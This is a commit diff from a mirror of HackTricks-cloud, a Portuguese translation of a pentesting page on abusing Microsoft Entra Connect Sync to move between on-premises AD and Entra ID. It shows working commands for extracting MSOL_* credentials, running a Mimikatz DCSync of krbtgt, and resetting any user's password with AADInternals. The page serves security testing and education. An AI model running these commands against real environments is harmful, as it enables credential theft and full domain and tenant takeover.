gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

Browse Source
This commit is contained in:
Translator
2025-08-25 21:25:37 +00:00
parent 0c0fd7fd20
commit 0a1ef296cd
1 changed files with 56 additions and 51 deletions
Download Patch File Download Diff File Expand all files Collapse all files

107
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
View File

@@ -2,63 +2,67 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
## Informações básicas
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) é um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente on-premises e o Microsoft Entra ID.
O serviço de sync consiste em dois componentes, o componente on-premises **Microsoft Entra Connect Sync** e o lado do serviço no Microsoft Entra ID chamado **Microsoft Entra Connect Sync service**.
Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será o responsável pela sincronização a partir do lado do AD.
Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
O **Connect Sync** é basicamente a maneira "antiga" de Azure para **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**:
O **Connect Sync** é basicamente a maneira "antiga" da Azure para **sincronizar usuários do AD para o Entra ID.** A nova forma recomendada é usar **Entra Cloud Sync**:
{{#ref}}
az-cloud-sync.md
{{#endref}}
### Principais Contas Geradas
### Principais Principais Gerados
- A conta **`MSOL_<installationID>`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local.
- Uma conta de serviço gerenciada **`ADSyncMSA<id>`** é criada no AD local sem privilégios especiais por padrão.
- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_<id>`** é criado com um certificado.
- A conta **`MSOL_<installationID>`** é criada automaticamente no AD on-prem. Esta conta recebe a role **Directory Synchronization Accounts** (veja a [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) o que significa que ela tem **permissões de replicação (DCSync) no AD on-prem**.
- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio on-premise.
- Uma managed service account **`ADSyncMSA<id>`** é criada no AD on-prem sem privilégios padrão especiais.
- No Entra ID o Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** é criado com um certificado.
## Sincronizar Senhas
## Sincronizar senhas
### Sincronização de Hash de Senha
### Password Hash Synchronization
Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário permitir a sincronização de hash de senha no agente Microsoft Entra Connect Sync instalado em um servidor AD.
Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário habilitar a password hash synchronization no agente Microsoft Entra Connect Sync instalado em um servidor AD.
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** é um dos métodos de sign-in usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância on-premises do Active Directory para uma instância baseada em nuvem do Azure AD.
Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.
Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do on-prem para o Azure AD. Entretanto, **senhas em texto claro** ou os **hashes originais** não são enviados para o Azure AD.
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
A **sincronização dos hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Então, um usuário cuja **senha on-prem expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
Quando um usuário on-prem deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
> [!NOTE]
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**.
> Por padrão, usuários de grupos privilegiados conhecidos como Domain Admins com o atributo **`adminCount` para 1 não são sincronizados** com o Entra ID por razões de segurança. Entretanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que receberam altos privilégios diretamente **podem ser sincronizados**.
### Escrita de Senha
Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Observe que, para a escrita de senha funcionar, o usuário `MSOL_<id>` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
### Password Writeback
Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Note que para o password writeback funcionar o usuário `MSOL_<id>` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios altos dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
Isto é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
- Usuários atribuídos a privilégios altos diretamente.
Domain admins e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o atributo **`adminCount` para 1**. Mas outros usuários que receberam altos privilégios dentro do AD sem pertencer a qualquer um desses grupos podem ter sua senha alterada. Por exemplo:
- Usuários com privilégios elevados atribuídos diretamente.
- Usuários do grupo **`DNSAdmins`**.
- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram.
- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e os atribuíram a OUs poderão modificar os GPOs que criaram.
- Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory.
- Usuários de qualquer outro grupo com altos privilégios sem o **atributo `adminCount` igual a 1**.
- Usuários de qualquer outro grupo com altos privilégios sem o atributo **`adminCount` para 1**.
## Pivotando AD --> Entra ID
### Enumerando Connect Sync
Verifique os usuários:
Verificar usuários:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
@@ -76,25 +80,25 @@ $searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Verifique a **configuração do Connect Sync** (se houver):
Verifique a **Connect Sync configuração** (se houver):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Encontrando as senhas
### Finding the passwords
As senhas do **`MSOL_*`** usuário (e do **Sync\_\*** usuário, se criado) estão **armazenadas em um servidor SQL** no servidor onde **Entra ID Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
As senhas do **`MSOL_*`** user (e do usuário **Sync\_\*** se criado) são **stored in a SQL server** no servidor onde **Entra ID Connect is installed.** Administradores podem extrair as senhas desses usuários privilegiados em clear-text.\
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível realizar privesc para o AD e para o AzureAD.
A **encrypted configuration** está criptografada com **DPAPI** e contém as **passwords of the `MSOL_*`** user no on-prem AD e a password do **Sync\_\*** no AzureAD. Portanto, comprometendo essas credenciais é possível privesc para o AD e para o AzureAD.
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
Você pode encontrar uma [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Abusando do MSOL\_*
### Abusando de MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
@@ -112,11 +116,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais.
> Ataques anteriores comprometeram a outra senha para então se conectar ao usuário Entra ID chamado `Sync_*` e depois comprometer o Entra ID. No entanto, esse usuário não existe mais.
### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API:
### Abusar ConnectSyncProvisioning_ConnectSync\_<id>
Esta aplicação é criada sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, ela tem as seguintes permissões de API:
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
@@ -125,21 +130,21 @@ Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\
De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele.
Menciona-se que o SP desta aplicação ainda pode ser usado para executar algumas ações privilegiadas usando uma API não documentada, mas nenhum PoC foi encontrado até onde sei.
De qualquer forma, considerando que isso pode ser possível, seria interessante explorar mais como encontrar o certificado para efetuar login como este service principal e tentar abusar dele.
Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi lançado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), publicado logo depois da troca do uso do usuário `Sync_*` para este service principal, explicou que o certificado era armazenado dentro do servidor e que era possível encontrá-lo, gerar um PoP (Proof of Possession) dele e graph token, e com isso, conseguir adicionar um novo certificado ao service principal (porque um **service principal** pode sempre atribuir a si mesmo novos certificados) e então usá-lo para manter persistência como o SP.
Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Para realizar essas ações, as seguintes ferramentas foram publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Na minha experiência, o certificado não está mais armazenado no local onde a ferramenta anterior estava procurando, e, portanto, a ferramenta não funciona mais. Assim, mais pesquisas podem ser necessárias.
De acordo com [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), para encontrar o certificado, você deve executar a ferramenta a partir de um processo que tenha **roubado o token do processo `miiserver`**.
### Abusando Sync\_\* [DEPRECATED]
### Abusar Sync\_\* [DEPRECATED]
> [!WARNING]
> Anteriormente, um usuário chamado `Sync_*` foi criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia realizar ações privilegiadas, como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um principal de serviço. No entanto, a partir de jan2025, esse usuário não é mais criado por padrão, pois agora o Aplicativo/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** é usado. No entanto, ele ainda pode estar presente em alguns ambientes, então vale a pena verificar.
> Anteriormente, um usuário chamado `Sync_*` era criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia executar ações privilegiadas como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um service principal. No entanto, desde Jan2025 esse usuário não é mais criado por padrão, pois agora a Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** é usada. Ainda assim, ele pode estar presente em alguns ambientes, então vale a pena verificá-lo.
Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
Comprometendo a **`Sync_*`** account é possível **resetar a senha** de qualquer usuário (incluindo Global Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -163,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
Também é possível **modificar apenas as senhas dos usuários cloud** (mesmo que isso seja inesperado)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -172,23 +177,23 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
É também possível extrair a senha deste usuário.
Também é possível fazer o dump da senha deste usuário.
> [!CAUTION]
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
> Outra opção seria **atribuir permissões privilegiadas a um service principal**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse service principal** como forma de privesc.
### SSO Sem Costura
### Seamless SSO
É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Verifique em:
É possível usar Seamless SSO com PHS, que é vulnerável a outros abusos. Confira em:
{{#ref}}
az-seamless-sso.md
{{#endref}}
## Pivotando Entra ID --> AD
## Pivoting Entra ID --> AD
- Se a gravação de senha estiver habilitada, você pode **modificar a senha de qualquer usuário no AD** que está sincronizado com Entra ID.
- Se a gravação de grupos estiver habilitada, você pode **adicionar usuários a grupos privilegiados** no Entra ID que estão sincronizados com o AD.
- If password writeback is enabled, you can **modify the password of any user in the AD** that is synchronized with Entra ID.
- If groups writeback is enabled, you can **add users to privileged groups** in Entra ID that are synchronized with the AD.
## Referências